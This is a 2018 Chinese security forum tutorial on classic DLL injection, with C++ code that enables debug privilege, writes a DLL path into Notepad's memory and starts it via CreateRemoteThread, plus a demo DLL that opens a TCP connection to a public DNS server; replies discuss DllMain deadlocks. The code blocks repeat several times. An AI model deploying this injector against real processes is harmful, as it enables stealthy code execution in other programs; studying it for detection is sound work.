首页
社区
课程
招聘
[原创]常见进程注入的实现及内存dump分析——经典DLL注入
发表于: 2018-1-14 22:53 12925

[原创]常见进程注入的实现及内存dump分析——经典DLL注入

2018-1-14 22:53
12925

环境

OS:Windows 10 PRO 1709

IDE:Visual Studio 2015 Community

语言:Visual C++

原理:简单来说,就是在目标进程中开辟一块堆空间,用于存储DLL的路径,之后使用CreateRemoteThread在目标进程中开启远程线程。

步骤:

HANDLE GetThePidOfTargetProcess()
{
	//Get the pid of the process which to be injected.
	HWND injectionProcessHwnd = FindWindowA(0, "Untitled - Notepad");
	DWORD dwInjectionProcessID;
	GetWindowThreadProcessId(injectionProcessHwnd, &dwInjectionProcessID);
	cout << "Notepad's pid -> " << dwInjectionProcessID << endl;
	HANDLE injectionProcessHandle = ::OpenProcess(PROCESS_ALL_ACCESS | PROCESS_CREATE_THREAD, 0, dwInjectionProcessID);//dwInjectionProcessID);
	return injectionProcessHandle;
}
  • 提升权限。
void PrivilegeEscalation()
{

	HANDLE hToken;
	LUID luid;
	TOKEN_PRIVILEGES tp;
	OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
	LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid);
	tp.PrivilegeCount = 1;
	tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
	tp.Privileges[0].Luid = luid;
	AdjustTokenPrivileges(hToken, 0, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL);
}
BOOL DoInjection(char *InjectionDllPath,HANDLE injectionProcessHandle)
{
	DWORD injBufSize = lstrlen((LPCWSTR)InjectionDllPath) + 1;
	LPVOID AllocAddr = VirtualAllocEx(injectionProcessHandle, NULL, injBufSize, MEM_COMMIT, PAGE_READWRITE);
	WriteProcessMemory(injectionProcessHandle, AllocAddr, (void*)InjectionDllPath, injBufSize, NULL);
	PTHREAD_START_ROUTINE pfnStartAddr = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryA");
	HANDLE hRemoteThread;
	if ((hRemoteThread = CreateRemoteThread(injectionProcessHandle, NULL, 0, pfnStartAddr, AllocAddr, 0, NULL)) == NULL)
	{
		ER = GetLastError();
		cout << "Create Remote Thread Failed!" << endl;
		return FALSE;
	}
	else
	{
		cout << "Create Remote Thread Success!" << endl;
		return TRUE;
	}
}

在网上搜索了一些关于DLL注入的资料,发现都没有被注入的DLL的实现,这里首先占用少量篇幅来说明DLL的实现。
这个DLL和一般的DLL实现方式一样,只不过是需要在DLL加载起来的时候,就要执行一些函数。
  • 在DllMain中的switch中的DLL_PRPCESS_ATTACH分支下,使用CreateThread函数,对要执行的函数创建进程。
case DLL_PROCESS_ATTACH:
			std::cout << "DLL_PROCESS_ATTACH" << std::endl;
			hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)inj, NULL, 0, &dwThreadId);

  • 要执行的函数如下,为了方便使用如PCHunter类工具进行监控,所以该函数实现了一个发送tcp连接包的功能。
void TryConnect()
{
	WSADATA wsa;
	if (WSAStartup(MAKEWORD(1, 1), &wsa) != 0)
	{
		return;
	}
	SOCKET m_socket = socket(AF_INET, SOCK_STREAM, 0);
	SOCKADDR_IN SocketSendIn;
	SocketSendIn.sin_family = AF_INET;
	SocketSendIn.sin_addr.S_un.S_addr = inet_addr("114.114.114.114");
	SocketSendIn.sin_port = htons(53);
	connect(m_socket, (SOCKADDR*)&SocketSendIn, sizeof(SOCKADDR));
	closesocket(m_socket);
	WSACleanup();
}

由于这种注入在磁盘中留下了DLL文件,隐蔽性非常不好,所以分析时只需看被注入的进程加载的DLL即可找到被注入的DLL。


之后分析的进程注入技术都开源到这一个项目上。
HANDLE GetThePidOfTargetProcess()
{
	//Get the pid of the process which to be injected.
	HWND injectionProcessHwnd = FindWindowA(0, "Untitled - Notepad");
	DWORD dwInjectionProcessID;
	GetWindowThreadProcessId(injectionProcessHwnd, &dwInjectionProcessID);
	cout << "Notepad's pid -> " << dwInjectionProcessID << endl;
	HANDLE injectionProcessHandle = ::OpenProcess(PROCESS_ALL_ACCESS | PROCESS_CREATE_THREAD, 0, dwInjectionProcessID);//dwInjectionProcessID);
	return injectionProcessHandle;
}
void PrivilegeEscalation()
{

	HANDLE hToken;
	LUID luid;
	TOKEN_PRIVILEGES tp;
	OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
	LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid);
	tp.PrivilegeCount = 1;
	tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
	tp.Privileges[0].Luid = luid;
	AdjustTokenPrivileges(hToken, 0, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL);
}
BOOL DoInjection(char *InjectionDllPath,HANDLE injectionProcessHandle)
{
	DWORD injBufSize = lstrlen((LPCWSTR)InjectionDllPath) + 1;
	LPVOID AllocAddr = VirtualAllocEx(injectionProcessHandle, NULL, injBufSize, MEM_COMMIT, PAGE_READWRITE);
	WriteProcessMemory(injectionProcessHandle, AllocAddr, (void*)InjectionDllPath, injBufSize, NULL);
	PTHREAD_START_ROUTINE pfnStartAddr = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryA");
	HANDLE hRemoteThread;
	if ((hRemoteThread = CreateRemoteThread(injectionProcessHandle, NULL, 0, pfnStartAddr, AllocAddr, 0, NULL)) == NULL)
	{
		ER = GetLastError();
		cout << "Create Remote Thread Failed!" << endl;
		return FALSE;
	}
	else
	{
		cout << "Create Remote Thread Success!" << endl;
		return TRUE;
	}
}
case DLL_PROCESS_ATTACH:
			std::cout << "DLL_PROCESS_ATTACH" << std::endl;
			hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)inj, NULL, 0, &dwThreadId);
void TryConnect()
{
	WSADATA wsa;
	if (WSAStartup(MAKEWORD(1, 1), &wsa) != 0)
	{
		return;
	}
	SOCKET m_socket = socket(AF_INET, SOCK_STREAM, 0);
	SOCKADDR_IN SocketSendIn;
	SocketSendIn.sin_family = AF_INET;
	SocketSendIn.sin_addr.S_un.S_addr = inet_addr("114.114.114.114");
	SocketSendIn.sin_port = htons(53);
	connect(m_socket, (SOCKADDR*)&SocketSendIn, sizeof(SOCKADDR));
	closesocket(m_socket);
	WSACleanup();
}
前段时间,在论坛看到了这篇文章--> [翻译]十种注入技巧:具有通用性的进程注入技巧研究后,想仔细学习进程注入。平时分析会多些,但很少去实现,如果文章中哪里有错误,欢迎指出,以便及时改正。

OS:Windows 10 PRO 1709

IDE:Visual Studio 2015 Community

语言:Visual C++

  1. 获取目标进程PID。
  2. 提升Dropper进程权限。
  3. 打开目标进程。
  4. 在目标进程内开辟缓冲区,用来存储DLL的路径。
  5. 找到目标进程中加载的kernel32.dll的句柄,通过该句柄来获取目标进程中kernel32.dll的导出函数LoadLibrary函数的地址。
  6. 通过CreateRemoteThread函数来调用LoadLibrary,使目标进程加载Payload DLL。
  1. 获取目标进程PID。
  2. 提升Dropper进程权限。
  3. 打开目标进程。
  4. 在目标进程内开辟缓冲区,用来存储DLL的路径。
  5. 找到目标进程中加载的kernel32.dll的句柄,通过该句柄来获取目标进程中kernel32.dll的导出函数LoadLibrary函数的地址。
  6. 通过CreateRemoteThread函数来调用LoadLibrary,使目标进程加载Payload DLL。

实现:

  • 获取目标进程PID。(本来想注入计算器,但是获取计算器的进程ID的时候总是获取一个辅助进程ID,所以就注入记事本了)。
HANDLE GetThePidOfTargetProcess()
{
	//Get the pid of the process which to be injected.
	HWND injectionProcessHwnd = FindWindowA(0, "Untitled - Notepad");
	DWORD dwInjectionProcessID;
	GetWindowThreadProcessId(injectionProcessHwnd, &dwInjectionProcessID);
	cout << "Notepad's pid -> " << dwInjectionProcessID << endl;
	HANDLE injectionProcessHandle = ::OpenProcess(PROCESS_ALL_ACCESS | PROCESS_CREATE_THREAD, 0, dwInjectionProcessID);//dwInjectionProcessID);
	return injectionProcessHandle;
}
  • 提升权限。

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

上传的附件:
收藏
免费 2
支持
分享
最新回复 (11)
雪    币: 7126
活跃值: (4382)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
感谢分享
2018-1-15 09:23
0
雪    币: 285
活跃值: (1100)
能力值: ( LV13,RANK:405 )
在线值:
发帖
回帖
粉丝
3
MaYil 感谢分享
2018-1-15 09:42
0
雪    币: 300
活跃值: (2532)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
mark
2018-1-15 10:06
0
雪    币: 3
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
强势围观~~
2018-1-17 14:05
0
雪    币: 6124
活跃值: (4721)
能力值: ( LV6,RANK:80 )
在线值:
发帖
回帖
粉丝
6
我记得哪本书上说的来着,请尽量不要在DllMain中进行创建线程的操作,很容易导致死锁。如果你再加个WaitForSingleObject肯定就死锁了。
2018-4-24 07:20
0
雪    币: 285
活跃值: (1100)
能力值: ( LV13,RANK:405 )
在线值:
发帖
回帖
粉丝
7
黑洛 我记得哪本书上说的来着,请尽量不要在DllMain中进行创建线程的操作,很容易导致死锁。如果你再加个WaitForSingleObject肯定就死锁了。
bingo,确实是这样,所以这种算是最简单的注入技术了
2018-4-24 09:09
0
雪    币: 13
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
8
怎么样才能不调用CreateRemoteThread?
2018-8-29 17:34
0
雪    币: 285
活跃值: (1100)
能力值: ( LV13,RANK:405 )
在线值:
发帖
回帖
粉丝
9
丘嗒山 怎么样才能不调用CreateRemoteThread?
用其他的方法注入,这种方法已经很旧很旧了,现在基本上都没有使用的了
2018-8-30 09:27
0
雪    币: 13
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
10
sudozhange 用其他的方法注入,这种方法已经很旧很旧了,现在基本上都没有使用的了
大佬,求赐教~~,还有你分析x64 内存的截图,用的是啥调试器?
2018-8-30 10:19
0
雪    币: 285
活跃值: (1100)
能力值: ( LV13,RANK:405 )
在线值:
发帖
回帖
粉丝
11
丘嗒山 大佬,求赐教~~,还有你分析x64 内存的截图,用的是啥调试器?
x64,我用的是windbg,虽然不太好用吧(不熟练的结果:
2018-8-30 14:04
0
雪    币: 13
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
12
sudozhange x64,我用的是windbg,虽然不太好用吧(不熟练的结果:
谢谢,我用x64dbg,没问题了!
2018-8-30 16:34
0
游客
登录 | 注册 方可回帖
返回
//